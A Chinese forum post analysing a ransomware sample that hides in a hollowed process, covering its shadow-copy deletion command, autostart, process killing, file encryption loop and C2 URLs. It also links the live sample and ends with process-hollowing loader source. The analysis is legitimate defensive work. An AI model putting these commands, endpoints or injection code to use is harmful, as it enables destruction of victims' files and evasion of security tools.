1

[原创]第一次病毒分析:利用傀儡进程隐藏的文件加密勒索病毒

八岛 2018-1-12 22:30 420
 

第一次分析望大佬们指点!

利用傀儡进程隐藏的文件加密勒索病毒分析

目录

病毒样本及分析平台

样本:

勒索病毒

大小: 327680 bytes
MD5: DBD5BEDE15DE51F6E5718B2CA470FC3F
CRC32: 1386DD7A
SHA1:863F5956863D793298D92610377B705F85FA42B5

样本地址:链接: https://pan.baidu.com/s/1brk4zYv 密码: v4cm

解压密码:cole.science

分析平台

win7 x32 sp1

使用工具

  • od
  • x32 dbg
  • 火绒剑
  • PEID
  • LordPe
  • 010 Editor
  • Process Explorer
  • pcHunter

病毒行为

  • 修改注册表,添加自启项目
  • 遍历所有磁盘,加密文件
  • 删除电脑上的所有数据备份
  • 程序自我删除 ,自我复制
  • 生成勒索的文本和图片信息

平台行为检测

使用检测平台:

        virustotal

检测报告:

 

通过上图可以看出,卡巴斯基报加壳木马,Avast报Rootkit,国产的基本上都过了,哎!不好意思截图啊

病毒勒索信息

火绒键行为监控

文件监控


可以看到在User/Documetns下创建了一个文件并释放了pe文件

 


遍历文件夹,加密文件并且在每个文件夹下创建勒索相关图文信息

执行监控

 

通过执行监控可以看到, 创建了一个新的可执行文件,并且调用cmd,打开notepad写入文字信息,仅通过调用cmd就可以视为病毒行为,普通程序根本不需要调用cmd命令行工具

行为监控


这里可以明显的看出,释放了pe文件,并完成文件的自我复制,隐藏文件等操作,顺带着设置注册表自启动

pcHunter监控

重启之后,使用pcHunter查看,发现

设置了勒索图文为启动项,更改了注册表,本身已经删除了病毒本身的程序,无法打开任务管理器和注册表编辑器

 

##动态分析1:获取真正的病毒样本

pe文件扫描

 

首先用PEID进行pe文件的扫描,从字面的信息可以看出病毒程序是用 vc6写的,区段信息有点少, 但是也算正常,不像是加壳的样子

OD动态分析


刚加载到OD,看样子都是挺正常的,一般vc6 的oep处都有一个

sub esp,0x58

这里有一个sub ESP,0x68,好像是挺正常的,但是,进入第一个call 之后,就会发现,整个都不一样了!!!

使用了无边无际的混淆执行令,并且夹杂着跳转指令,实在是不好分析.
换个思路:通过火绒剑可以看到,在User/Documents文件加下会释放一个exe文件,虽然调用了cmd,但是也有可能是释放了之后马上创建了线程,下API断点

下进程API断点

首先下CreateProcessA和CreateProcessW这两个常用的API断点,F9运行起来

 

在W版断下来了
可以看到参数就是创建的自己,以挂机的方式创建
那么就需要ResumeThread 来恢复线程

通过Process Explorer这个软件也可以看出确实是创建了一个同名进程

 

通常来说,以挂起的方式创建进程,常见的都会进行一些写内存的操作
这里下WriteProcessMemory 看看是不是跟猜想的一样

这里发现断下来了,但是写入的目标地址是0x400000,如果没有关闭随机基址的话这是程序的加载基址

 

使用010 Editor 打开发现,这个程序没有开随基址

也即是说写入的目标地址,本应该是对方的已经占有的空间
因为我写过傀儡进程加密壳,种种特征都吻合,这个很有可能就是使用了ZwUnmapViewOfSection脱掉目标进程的内存,然后重新写入数据,指定oep的傀儡进程(附录附傀儡进程的执行流程和之前写的代码demo)
再去看这个WriteProcessMemory函数的Buffer地址

可以看出,这就是一个正宗的PE文件格式,正好写过,那这就好说了,在ResumeThread之前附加到新创建的进程,dump下来,然后在分析dump之后的文件

 

这个时候OD附加不上去了, 使用x32dbg自带的插件Scylla 可以dump一个创建的进程
在ResumeThread之前,把新创建的进行dump下来

dump下来之后发现不能运行

使用LordPE对照写入内存时的buffer有什么不一样的

发现oep不对,更改之后可正常拖进OD
顺便使用PEID扫一下

至此真正的病毒样本提取出啦了

动态分析2:对dump出的病毒样本进行分析

首先通过上述的行文分析,发现释放了一个pe文件,解密勒索信息和网站等字符串之后,使用CopyFile拷贝了一份新的文件到c:User\Documents下,并对此可执行文件创建了一个线程

00127844   75A151E6  /CALL 到 CreateProcessW 来自 shell32.75A151E0
00127848   00357D5C  |ModuleFileName = "C:\Windows\system32\cmd.exe"
0012784C   00354170  |CommandLine = ""C:\Windows\system32\cmd.exe" /c DEL C:\Users\15PB-W~1\Desktop\1_dump.exe >> NUL"
00127850   00000000  |pProcessSecurity = NULL
00127854   00000000  |pThreadSecurity = NULL
00127858   00000000  |InheritHandles = FALSE
0012785C   04080410  |CreationFlags = CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|CREATE_DEFAULT_ERROR_MODE|80000
00127860   00000000  |pEnvironment = NULL
00127864   0033EBA0  |CurrentDir = "C:\Users\15pb-win7\Desktop"
00127868   001278AC  |pStartupInfo = 001278AC
0012786C   003560A8  \pProcessInfo = 003560A8

权限提升

00410780  |.  50            push eax                                                                ; /phToken = 0012FDB8
00410781  |.  6A 08         push 0x8                                                                ; |DesiredAccess = TOKEN_QUERY
00410783  |.  FF15 D4004200 call dword ptr ds:[<&KERNEL32.GetCurrentProcess>]                       ; |[GetCurrentProcess
00410789  |.  50            push eax                                                                ; |hProcess = 0012FDB8
0041078A  |.  FF15 10004200 call dword ptr ds:[<&ADVAPI32.OpenProcessToken>]                        ; \OpenProcessToken
00410790  |.  85C0          test eax,eax
00410792  |.  75 0B         jnz short dpwapa.0041079F
00410794  |.  FF15 90004200 call dword ptr ds:[<&KERNEL32.GetLastError>]                            ; [GetLastError
0041079A  |.  8945 FC       mov [local.1],eax
0041079D  |.  EB 75         jmp short dpwapa.00410814
0041079F  |>  8B55 F8       mov edx,[local.2]
004107A2  |.  8B3D 08004200 mov edi,dword ptr ds:[<&ADVAPI32.GetTokenInformation>]                  ;  advapi32.GetTokenInformation
004107A8  |.  53            push ebx
004107A9  |.  8D4D F4       lea ecx,[local.3]
004107AC  |.  51            push ecx                                                                ; /pRetLen = 043A62EB
004107AD  |.  56            push esi                                                                ; |BufSize = 770C0000 (1997275136.)
004107AE  |.  56            push esi                                                                ; |Buffer = kernel32.770C0000
004107AF  |.  6A 19         push 0x19                                                               ; |InfoClass = 25.
004107B1  |.  52            push edx                                                                ; |hToken = 071F947D
004107B2  |.  FFD7          call edi                                                                ; \GetTokenInformation
004107B4  |.  8B1D 90004200 mov ebx,dword ptr ds:[<&KERNEL32.GetLastError>]                         ;  kernel32.GetLastError

通过动态跟踪发现了病毒读取了当前进程的权限

00410803  |.  6A 00         push 0x0                                                                ; /Subauthority = 0x0
00410805  |.  51            push ecx                                                                ; |pSID = 0065B4E8
00410806  |.  FF15 0C004200 call dword ptr ds:[<&ADVAPI32.GetSidSubAuthority>]                      ; \GetSidSubAuthority
0041080C  |.  8B10          mov edx,dword ptr ds:[eax]                                              ;  获取当前进程的运行权限
0041080E  |.  8B45 08       mov eax,[arg.1]                                                         ;  edx= 进程运行权限
00410811  |.  8910          mov dword ptr ds:[eax],edx                                              ;  这里保存的当前进程的运行权限

获取了当前进程的SID

00410905  |.  8D4D DC       lea ecx,[local.9]
00410908  |.  51            push ecx                                                 ; /pLocalId = 005C28B0
00410909  |.  50            push eax                                                 ; |Privilege = "SeDebugPrivilege"
0041090A  |.  6A 00         push 0x0                                                 ; |SystemName = NULL
0041090C  |.  FF15 04004200 call dword ptr ds:[<&ADVAPI32.LookupPrivilegeValueW>]    ; \LookupPrivilegeValueW
00410912  |.  85C0          test eax,eax

.......
00410946  |.  6A 00         push 0x0                                                 ; /pRetLen = NULL
00410948  |.  6A 00         push 0x0                                                 ; |pPrevState = NULL
0041094A  |.  6A 00         push 0x0                                                 ; |PrevStateSize = 0x0
0041094C  |.  8D55 E8       lea edx,[local.6]                                        ; |
0041094F  |.  52            push edx                                                 ; |pNewState = 0012FD7C
00410950  |.  8945 EC       mov [local.5],eax                                        ; |
00410953  |.  8B45 E4       mov eax,[local.7]                                        ; |
00410956  |.  6A 00         push 0x0                                                 ; |DisableAllPrivileges = FALSE
00410958  |.  50            push eax                                                 ; |hToken = 00000164 (window)
00410959  |.  C745 E8 01000>mov [local.6],0x1                                        ; |
00410960  |.  894D F0       mov [local.4],ecx                                        ; |
00410963  |.  C745 F4 02000>mov [local.3],0x2                                        ; |
0041096A  |.  FF15 00004200 call dword ptr ds:[<&ADVAPI32.AdjustTokenPrivileges>]    ; \AdjustTokenPrivileges

随后对进程了进行提权,权限为:SeDebugPrivilege

删除本地所有数据备份,防止本地恢复

在病毒一个新起的线程回调函数中,发现了病毒删除备份的操作

004072FA  |.  8B35 D0014200 mov esi,dword ptr ds:[<&SHELL32.ShellExecuteExW>]                ;  shell32.ShellExecuteExW
00407300  |.  50            push eax
00407301  |.  894D D0       mov [local.12],ecx
00407304  |.  8955 D4       mov [local.11],edx
00407307  |.  C745 C4 40000>mov [local.15],0x40
0040730E  |.  FFD6          call esi                                                         ;  shell32.ShellExecuteExW; <&SHELL32.ShellExecuteExW>

参数:
0211FF48  0000003C
0211FF4C  00000040
0211FF50  00000000
0211FF54  005C2A10  UNICODE "runas"
0211FF58  005C2E10  UNICODE "vssadmin.exe"
0211FF5C  005C2E38  UNICODE " Delete Shadows /All /Quiet "
...

这里可以看到,病毒启动了用于卷影复制的服务vssadmin.exe 并设置命令行参数Delete Shadows /All /Quiet 删除电脑上的所有备份

监控编辑注册表,任务管理器等进程

通过跟踪病毒的另外一个线程,发现这个线程主要的作用就是;

  • 遍历进程

  • 查找执行的进程

            这些进程有:taskmg(任务管理器),regdit(注册表),procex,msconfi(系统配置),cmd(命令行)
    

一旦发现符合的进程,调用ExitProcess退出

00413C04  |.  68 E8024200   push dpwapa.004202E8                                             ; /pModule = "mscoree.dll"
00413C09  |.  FF15 78014200 call dword ptr ds:[<&KERNEL32.GetModuleHandleW>]                 ; \GetModuleHandleW
00413C0F  |.  85C0          test eax,eax
00413C11  |.  74 15         je short dpwapa.00413C28
00413C13  |.  68 D8024200   push dpwapa.004202D8                                             ; /ProcNameOrOrdinal = "CorExitProcess"
00413C18  |.  50            push eax                                                         ; |hModule = 005C3098
00413C19  |.  FF15 3C014200 call dword ptr ds:[<&KERNEL32.GetProcAddress>]                   ; \GetProcAddress
00413C1F  |.  85C0          test eax,eax
00413C21  |.  74 05         je short dpwapa.00413C28
00413C23  |.  FF75 08       push [arg.1]
00413C26  |.  FFD0          call eax                                                         ;  ExitProcess

设置注册表,增加开机自启

004028AB  |.  6A 08         push 0x8                                                 ; /BufSize = 0x8
004028AD  |.  68 10F54500   push dpwapa.0045F510                                     ; |Buffer = dpwapa.0045F510
004028B2  |.  6A 03         push 0x3                                                 ; |ValueType = REG_BINARY
004028B4  |.  6A 00         push 0x0                                                 ; |Reserved = 0x0
004028B6  |.  51            push ecx                                                 ; |FIX
004028B7  |.  52            push edx                                                 ; |hKey = 0x775E64F4
004028B8  |.  FF15 14004200 call dword ptr ds:[<&ADVAPI32.RegSetValueExW>]           ; \RegSetValueExW


设置键FIX 值为d5 ab 7d 4f a4 e7 d0 15

004026B9  |> \6A 00         push 0x0                                                 ; /pDisposition = NULL
004026BB  |.  8D95 F8FDFFFF lea edx,[local.130]                                      ; |
004026C1  |.  52            push edx                                                 ; |pHandle = 0012FB84
004026C2  |.  6A 00         push 0x0                                                 ; |pSecurity = NULL
004026C4  |.  68 19000200   push 0x20019                                             ; |Access = KEY_READ
004026C9  |.  6A 00         push 0x0                                                 ; |Options = REG_OPTION_NON_VOLATILE
004026CB  |.  6A 00         push 0x0                                                 ; |Class = NULL
004026CD  |.  6A 00         push 0x0                                                 ; |Reserved = 0x0
004026CF  |.  8D85 FCFEFFFF lea eax,[local.65]                                       ; |
004026D5  |.  50            push eax                                                 ; |Subkey = "Software\D5AB7D4FA4E7D015"
004026D6  |.  68 01000080   push 0x80000001                                          ; |hKey = HKEY_CURRENT_USER
004026DB  |>  FF15 24004200 call dword ptr ds:[<&ADVAPI32.RegCreateKeyExW>]          ; \RegCreateKeyExW
004026ED  |.  51            push ecx                                                 ; /pBufSize = kernel32.7710FDFA
004026EE  |.  8B48 2C       mov ecx,dword ptr ds:[eax+0x2C]                          ; |
004026F1  |.  68 48F54500   push offset <dpwapa.保存了data的键>                           ; |Buffer = offset <dpwapa.保存了data的键>
004026F6  |.  8D95 F0FDFFFF lea edx,[local.132]                                      ; |
004026FC  |.  52            push edx                                                 ; |pValueType = NULL
004026FD  |.  8B95 F8FDFFFF mov edx,[local.130]                                      ; |
00402703  |.  6A 00         push 0x0                                                 ; |Reserved = NULL
00402705  |.  51            push ecx                                                 ; |data
00402706  |.  52            push edx                                                 ; |hKey = 0x0
00402707  |.  FF15 20004200 call dword ptr ds:[<&ADVAPI32.RegQueryValueExW>]         ; \RegQueryValueExW

发现加密的key值的最前面和最后面是由这两个key值构成的

00410041  |.  51            push ecx
00410042  |.  6A 00         push 0x0
00410044  |.  68 06000200   push 0x20006
00410049  |.  6A 00         push 0x0
0041004B  |.  6A 00         push 0x0
0041004D  |.  6A 00         push 0x0
0041004F  |.  56            push esi                                           ;  Software\Microsoft\Windows\CurrentVersion\Run
00410050  |.  68 01000080   push 0x80000001
00410055  |.  FFD0          call eax                                           ;  advapi32.RegCreateKeyExW



0041008C  |.  52            push edx                                           ;  a4
0041008D  |.  8D8D A0BFFFFF lea ecx,[local.4120]
00410093  |.  51            push ecx                                           ;  C:\Windows\SYSTEM32\CMD.EXE /C START """C:\Users\15pb-win7\Documents\xxhprj.exe
00410094  |.  6A 01         push 0x1
00410096  |.  6A 00         push 0x0
00410098  |.  8D55 A0       lea edx,[local.24]
0041009B  |.  52            push edx                                           ;  +++txdw
0041009C  |.  57            push edi                                           ;  170
0041009D  |.  FFD0          call eax                                           ;  advapi32.RegSetValueExW
0041009F  |.  8B85 9CBFFFFF mov eax,[local.4121]
004100A5  |.  8B35 1C004200 mov esi,dword ptr ds:[<&ADVAPI32.RegFlushKey>]     ;  advapi32.RegFlushKey
004100AB  |.  50            push eax                                           ; /hKey = 0x76CB1C82
004100AC  |.  FFD6          call esi                                           ; \RegFlushKey

通过上面的汇编可以看出,创建了一个自启的项,虽然自启动的是cmd,但是制定了cmd的参数,是/C START """C:\Users\15pb-win7\Documents\xxhprj.exe
还是去启动病毒文件

遍历文件,对文件内容进行加密

首先获取了几个系统特殊路径,然后使用GetLogicDrivers获取了文件驱动的名称

00401735   .  68 40A84300   push unnlcu.0043A840                                    ;  UNICODE "C:\Windows"
0040173A   .  33FF          xor edi,edi
0040173C   .  57            push edi
0040173D   .  57            push edi
0040173E   .  6A 24         push 0x24
00401740   .  57            push edi
00401741   .  FFD6          call esi                                                ;  shell32.SHGetFolderPathW; <&SHELL32.SHGetFolderPathW>
00401743   .  68 48AA4300   push offset <unnlcu.C:\Program Files>                   ;  UNICODE "C:\Program Files"
00401748   .  57            push edi
00401749   .  57            push edi
0040174A   .  6A 26         push 0x26
0040174C   .  57            push edi
0040174D   .  FFD6          call esi                                                ;  shell32.SHGetFolderPathW
0040174F   .  68 50AC4300   push offset <unnlcu.C:\ProgramData>                     ;  UNICODE "C:\ProgramData"
00401754   .  57            push edi
00401755   .  57            push edi
00401756   .  6A 23         push 0x23
00401758   .  57            push edi
00401759   .  FFD6          call esi                                                ;  shell32.SHGetFolderPathW
0040175B   .  8D8424 F80000>lea eax,dword ptr ss:[esp+0xF8]
00401762   .  50            push eax                                                ; /Buffer = 0000000C
00401763   .  68 00010000   push 0x100                                              ; |BufSize = 100 (256.)
00401768   .  FF15 AC004200 call dword ptr ds:[<&KERNEL32.GetLogicalDriveStringsW>] ; \GetLogicalDriveStringsW

对驱动类型进行判断之后就进行了文件遍历
进行简单的判断,先读取文件的前0x80个字节,判断是否有值,如果有就申请空间,读取整个文件的内容,然后对以下格式的文件进行加密。
对于目录文件创建文本和勒索图文信息

        ".r3d",".ptx",".pef",".srw",".x3f",".der",".cer",".crt",".pem",".odt",".ods",".odp",".odm",".odc",".odb",".doc",".docx",".kdc",".mef,".nrw",".orf",".raw",".rwl,".mdf",".dbf",".psd",".pdd",".pdf"
,".eps",".jpg",".jpe",".dng",".3fr",".arw",".srf",".sr2",".bay",".crw",".cr2",".dcr",".ai",".indd",".cdr",".erf",".bar",".hkx",".raf",".rofl",".dba",".db0",".kdb",".mpqge",".vfs0",".mcmeta",".m2"
,".lrf",".vpp_pc",".ff",".cfr",".snx",".lvl,".ntl",".fsh",".itdb",".itl",".mddata",".sidd",".sidn",".bkf,".bkp",".bc7",".bc6",".pkpass",".tax",".gdb",".qdf",".t12",".t13",".ibank",".sum",".sie"
,".zip",".w3x",".rim,".tor",".vpk",".iwd",".kf,".fpk",".dazip",".vtf",".vcf",".esm",".blob,".layout",".menu",".ncf",".sid",".sis",".ztmp",".vdf",".mov",".fos",".sb",".itm,".itm",".map",".wmo",".sb"
,".svg",".cas",".gho",".syncdb",".mdbackup",".hkdb",".hplg",".hvpl",".icxs",".docm",".wps",".xls",".xlsx",".xlsm",".xlsb",".xlk",".ppt",".pptx",".pptm",".mdb",".accdb",".pst",".dwg",".xf",".dxg"
,".wpd",".rtf",".wb2",".pfx",".p12,".p7c",".txt",".jpeg",".png",".rb,".js",".flv",".m3u",".py",".desc",".xxx",".litesql","wallet",".big",".pak",".rgss3a,".bik",".slm",".lbf",".sav",".re4",".apk"
,".bsa",".ltx",".forge",".asset",".litemod",".iwi",".das",".upk",".d3dbsp",".csv,".avi",".wma",".m4a",".rar",".7z",".mp4,".bak",".tiff"
HANDLE __cdecl sub_401920(wchar_t *Src, int a2)
{
  HANDLE result; // eax@1
  void *v3; // esi@1
  unsigned int v4; // kr00_4@12
  wchar_t *v5; // esi@12
  int v6; // eax@12
  int v7; // eax@13
  HANDLE v8; // [sp+Ch] [bp-425Ch]@1
  struct _WIN32_FIND_DATAW FindFileData; // [sp+10h] [bp-4258h]@1
  wchar_t Dst; // [sp+260h] [bp-4008h]@1
  char v11; // [sp+262h] [bp-4006h]@1
  WCHAR FileName; // [sp+2260h] [bp-2008h]@1
  char v13; // [sp+2262h] [bp-2006h]@1

  FileName = 0;
  memset(&v13, 0, 0x1FFEu);
  Dst = 0;
  memset(&v11, 0, 0x1FFEu);
  wcscpy_s(&FileName, 0x1000u, Src);
  wcscat_s(&FileName, 0x1000u, *(const wchar_t **)(dword_45F4DC + 32));
  result = FindFirstFileW(&FileName, &FindFileData);
  v3 = result;
  v8 = result;
  if ( result != (HANDLE)-1 )
  {
    do
    {
      if ( FindFileData.dwFileAttributes & 0x10 )
      {
        if ( wcscmp(L".", FindFileData.cFileName) && wcscmp(L"..", FindFileData.cFileName) )
        {
          wcscpy_s(&FileName, 0x1000u, Src);
          if ( wcslen(Src) > 3 )
            wcscat_s(&FileName, 0x1000u, L"\\");
          wcscat_s(&FileName, 0x1000u, FindFileData.cFileName);
          if ( wcscmp(&pszPath, &FileName) && wcscmp(&word_43AA48, &FileName) )
          {
            if ( wcscmp(&word_43AC50, &FileName) )
            {
              sub_401920(&FileName, a2);
              wcscpy_s(&Dst, 0x1000u, &FileName);
              sub_410150(0);//文件夹,创建勒索图文
            }
          }
        }
      }
      else if ( a2 == 1 )
      {
        wcscpy_s(&FileName, 0x1000u, Src);
        wcscat_s(&FileName, 0x1000u, L"\\");
        wcscat_s(&FileName, 0x1000u, FindFileData.cFileName);
        v4 = wcslen(FindFileData.cFileName);
        v5 = _wcsdup(FindFileData.cFileName);
        _wcslwr_s(v5, v4 + 1);
        v6 = *(_DWORD *)(dword_45F4DC + 36);
        if ( !sub_4103C0(v5) )
        {
          v7 = *(_DWORD *)dword_45F4DC;
          if ( !sub_4103C0(v5) && sub_402100() == 1 )
            sub_401CD0(&FileName);//加密文件
        }
        free(v5);
        v3 = v8;
      }
    }
    while ( FindNextFileW(v3, &FindFileData) );
    result = (HANDLE)FindClose(v3);
  }
  return result;
}

获取局域网网络资源,设置可访问

当对文件加密完毕之后,调用了WNetOpenEnum进行网络枚举

HGLOBAL __stdcall sub_401610(LPNETRESOURCEW lpNetResource)
{
  HGLOBAL result; // eax@2
  void *v2; // ebx@3
  DWORD v3; // edi@5
  const wchar_t **v4; // esi@6
  DWORD cCount; // [sp+0h] [bp-8h]@1
  SIZE_T dwBytes; // [sp+4h] [bp-4h]@1

  dwBytes = 0x4000;
  cCount = -1;
  if ( WNetOpenEnumW(2u, 0, 0, lpNetResource, (LPHANDLE)&lpNetResource) )
  {
    result = 0;
  }
  else
  {
    result = GlobalAlloc(0x40u, dwBytes);
    v2 = result;
    if ( result )
    {
      while ( 1 )
      {
        memset(v2, 0, dwBytes);
        if ( WNetEnumResourceW(lpNetResource, &cCount, v2, &dwBytes) )
          break;
        v3 = 0;
        if ( cCount )
        {
          v4 = (const wchar_t **)((char *)v2 + 20);
          do
          {
            if ( dword_43A834 <= 64 && *(v4 - 5) == (const wchar_t *)2 && *(v4 - 4) == (const wchar_t *)1 )
            {
              wcscpy_s(&word_43AE58 + 1024 * dword_43A834, 0x400u, *v4);
              ++dword_43A834;
            }
            if ( (*((_BYTE *)v4 - 8) & 2) == 2 )
              sub_401610((LPNETRESOURCEW)(v4 - 5));
            ++v3;
            v4 += 8;
          }
          while ( v3 < cCount );
        }
      }
      GlobalFree(v2);
      result = (HGLOBAL)(WNetCloseEnum(lpNetResource) == 0);
    }
  }
  return result;
}

对文件加密之后,调用ShellExcuteEx,打开桌面存有勒索信息的文本文档和图片

00410D21  |.  6A 01         push 0x1
00410D23  |.  6A 00         push 0x0
00410D25  |.  6A 00         push 0x0
00410D27  |.  51            push ecx                                                    ;  "C:\Users\15pb-win7\Desktop\+REcovER+nxgah+.png"
00410D28  |.  52            push edx                                                    ;  open
00410D29  |.  6A 00         push 0x0
00410D2B  |.  FFD0          call eax                                                    ;  shell32.ShellExecuteW

进行网络链接

0024FAB0  0024FB00  ASCII "http://videoaminproduktion.de/plugins/binstr.php"
0024FAB4  0024FB40  ASCII "http://clubsaintandre.fr/images/binstr.php"
0024FAB8  0024FB78  ASCII "http://affiliateproductes.com/binstr.php"
0024FABC  0024FBB0  ASCII "http://ptgp.pl/tmp/binstr.php"
0024FAC0  0024FBD8  ASCII "http://strategicdisaster.info/wordpress/wp-content/plugins/binstr.php"
0024FAC4  0024FC28  ASCII "http://minteee.com/images/binstr.php"
0024FAC8  0024FC58  ASCII "Sub=%s&dh=%s&addr=%s&size=%lld&version=4.0&OS=%ld&ID=%d&inst_id=%X%X%X%X%X%X%X%X"
0024FACC  0024FCB8  ASCII "0324532423723948572379453249857"
0024FAD0  0024FCE0  ASCII "Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko"
0024FAD4  0024FD18  ASCII "Content-Type: application/x-www-form-urlencoded"
0024FAD8  002430A8
0024FADC  002430B8  ASCII "Crypted"
0024FAE0  01CE0060  ASCII "Ping"
0024FAE4  01CE0070  ASCII "data=%s"
0024FAE8  01CE0080  ASCII "POST"
0024FAEC  00242AD0  ASCII "INSERTED"

使用WireShark抓到的数据包如下

 

服务器现在还在线!!!

总结

傀儡进程是近年来常见的恶意代码隐藏自身的方法,主要的处理方法是在ResumeThread之前,dump出内存,对dump出的内存进行调试

 

通过virustotal扫描可以看出,恶意代码加混淆可以过掉国内大多数的杀毒软件


傀儡进程执行原理及流程

  • 以挂起的方式创建一个进程,一般都是系统信任的进程,比如IE,也可以是自己;

  • GetThreadContext获取挂起进程CONTEXT,其中,EAX为进程入口点地址,EBX指向进程PEB;

  • ZwUnmapViewOfSection卸载挂起进程内存空间数据;

  • VirtualAlloc分配内存空间;

  • WriteProcessMemory将代码写入分配的内存;

  • SetThreadContext设置挂起进程状态;

  • ResumeThread唤醒进程运行。

简单的傀儡进程代码demo

把exe文件作为一个新的区段通过加壳器加到下面这个文件的最后一个区段
注:为了快点测试,被加壳的PE是LoadLibray拉伸好的

#include <windows.h>


int main()
{
    //获取句柄
    HMODULE hModule = NULL;
    hModule = GetModuleHandle(0);

    if (hModule == NULL)
    {
        return -1;
    }

    //正常的获取各种头文件
    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(pDosHdr->e_lfanew + (ULONG_PTR)hModule);
    if (pNtHdr->Signature != IMAGE_NT_SIGNATURE)
    {
        return -1;
    }
    PIMAGE_OPTIONAL_HEADER pOpHdr = &pNtHdr->OptionalHeader;
    DWORD nSecNum = pNtHdr->FileHeader.NumberOfSections-1; //获取最后一个字段的编号
    PIMAGE_SECTION_HEADER pSecHdr = IMAGE_FIRST_SECTION(pNtHdr);

    //去读取最后一个区段,然后对整个区段的内容进行解密

    IMAGE_SECTION_HEADER pShellSecHdr = pSecHdr[nSecNum];
    //判断区段是不是要找的区段
    char szTemName[8] = {};
    memcpy(szTemName, pShellSecHdr.Name, 8);

    DWORD dwDecryptKey = pShellSecHdr.Misc.VirtualSize >> 0x4;//目前的解密key,暂时用这种简单的方法
    //进行解密
    char* deCryptAddr = (char*)(pShellSecHdr.VirtualAddress + (ULONG_PTR)hModule);


    //解密成功
    //创建一个进程
    //首先获取当前进程的路径
    wchar_t FilePath[MAX_PATH] = {};
    GetModuleFileName(hModule, FilePath, MAX_PATH);

    STARTUPINFOW si = {};
    PROCESS_INFORMATION pi = {};
    //以挂起的方式创建进程
    if (CreateProcess(FilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED |CREATE_NEW_CONSOLE,/*已挂起的方式创建*/NULL, NULL, &si, &pi) == 0)
    {
        MessageBoxA(0, "进程创建失败", 0, 0);
    }


    //获取新创建的线程上下文
    CONTEXT context = {};
    context.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(pi.hThread, &context))
    {
        MessageBoxA(0, "获取线程上下文失败", 0, 0);
        return -1;
    }

    DWORD dwVirBaseAddr = 0;

    if (!ReadProcessMemory(pi.hProcess,(LPCVOID)(context.Ebx+8),&dwVirBaseAddr,sizeof(PVOID),NULL))
    {
        return -1;
    }
    printf("dwVirBaseAddr:%x\n", dwVirBaseAddr);

    HMODULE hNtModule = NULL;
    hNtModule = GetModuleHandle(L"ntdll.dll");
    if (hNtModule==NULL)
    {
        hNtModule = LoadLibrary(L"ntdll.dll");
        if (hNtModule==NULL)
        {
            return -1;
        }
    }


    typedef NTSTATUS(NTAPI *PFNZwUnmapViewOfSection) (HANDLE ProcessHandle, PVOID BaseAddress);

    PFNZwUnmapViewOfSection pfnZwUnmapViewOfSection = (PFNZwUnmapViewOfSection)GetProcAddress(hNtModule, "ZwUnmapViewOfSection");

    if (pfnZwUnmapViewOfSection ==NULL)
    {
        MessageBoxA(0, "获取镜像函数失败", 0, 0);
        return -1;
    }

    system("pause");
    //卸载掉目标进程的代码
    ULONG isSucess = 0;
    isSucess= pfnZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwVirBaseAddr);

    //在写入之前,首先要获取这个pe文件的各种头文件
    //获取dos头
    PIMAGE_DOS_HEADER pPeDosHdr = (PIMAGE_DOS_HEADER)(pShellSecHdr.VirtualAddress + (ULONG_PTR)hModule);
    printf("dos头的部分内容:%s\n", (char*)pPeDosHdr);
    //////////////////////////////////////////////////////////////////////////


    PIMAGE_NT_HEADERS pPeNtHdr = (PIMAGE_NT_HEADERS)(pPeDosHdr->e_lfanew + (ULONG_PTR)pPeDosHdr);
    printf("nt头的部分内容:%s\n", (char*)pPeNtHdr);
    //////////////////////////////////////////////////////////////////////////
    //测试


    DWORD dwPeSize = pPeNtHdr->OptionalHeader.SizeOfImage;
    printf("pe大小%x\n", dwPeSize);
    system("pause");
    LPVOID  dwPeVirAddr = 0;
    DWORD dwjudge = pPeNtHdr->OptionalHeader.DllCharacteristics;

    printf("属性%x:\n", pPeNtHdr->OptionalHeader.DllCharacteristics);
    if (pPeNtHdr->OptionalHeader.DllCharacteristics == 0x8140)
    {
        printf("有动态基址\n");
        dwPeVirAddr = VirtualAllocEx(pi.hProcess, 0, dwPeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (dwPeVirAddr == 0)
        {
            //申请失败,可能有重定位表
            //这个时候其实可以在任意地方申请,然后修复重定位表
            //稍等再说

            MessageBoxA(0, "申请空间失败", 0, 0);
            TerminateProcess(pi.hProcess, -1);
            return -1;

        }
        //然后手动修复重定位表
        IMAGE_BASE_RELOCATION* pRelTab;
        pRelTab = (IMAGE_BASE_RELOCATION*)
            (pPeNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pPeDosHdr);

        /*!
        * \brief 重定位块的偏移结构
        */
        struct TypeOffset {
            WORD Offset : 12;  // (1) 大小为12Bit的重定位偏移
            WORD Type : 4;    // (2) 大小为4Bit的重定位信息类型值
        };

        while (pRelTab->VirtualAddress != 0) {
            TypeOffset* tofs;
            DWORD count;
            count = (pRelTab->SizeOfBlock - 8) / 2;
            printf("共有%d次\n", count);
            tofs = (TypeOffset*)(pRelTab + 1);
            for (DWORD i = 0; i < count; ++i) {
                if (tofs[i].Type == 3) {

                    SIZE_T* pFixVa = (SIZE_T*)(tofs[i].Offset + pRelTab->VirtualAddress + (ULONG_PTR)pPeDosHdr);
                    // 替换加载基址
                    *pFixVa -= pPeNtHdr->OptionalHeader.ImageBase; // 默认加载基址
                    *pFixVa += (DWORD)dwPeVirAddr; // 新的加载基址
                    printf("\r --------------------修复完成%d次\n", i);
                                             // 替换段首RVA
                    //*pFixVa -= oldSectionRva; // 旧的区段段首RVA
                    //*pFixVa += newSectionRva; // 新的区段段首RVA
                }
            }

            // 找到下一个重定位块
            pRelTab = (IMAGE_BASE_RELOCATION*)
                ((SIZE_T)pRelTab + pRelTab->SizeOfBlock);
        }
    }
    else {
        printf("没有动态基址\n");
        dwPeVirAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pPeNtHdr->OptionalHeader.ImageBase, dwPeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    }


    printf("申请的空间地址:%x\n", dwPeVirAddr);

    if (dwPeVirAddr==0)
    {
        //申请失败,可能有重定位表
        //这个时候其实可以在任意地方申请,然后修复重定位表
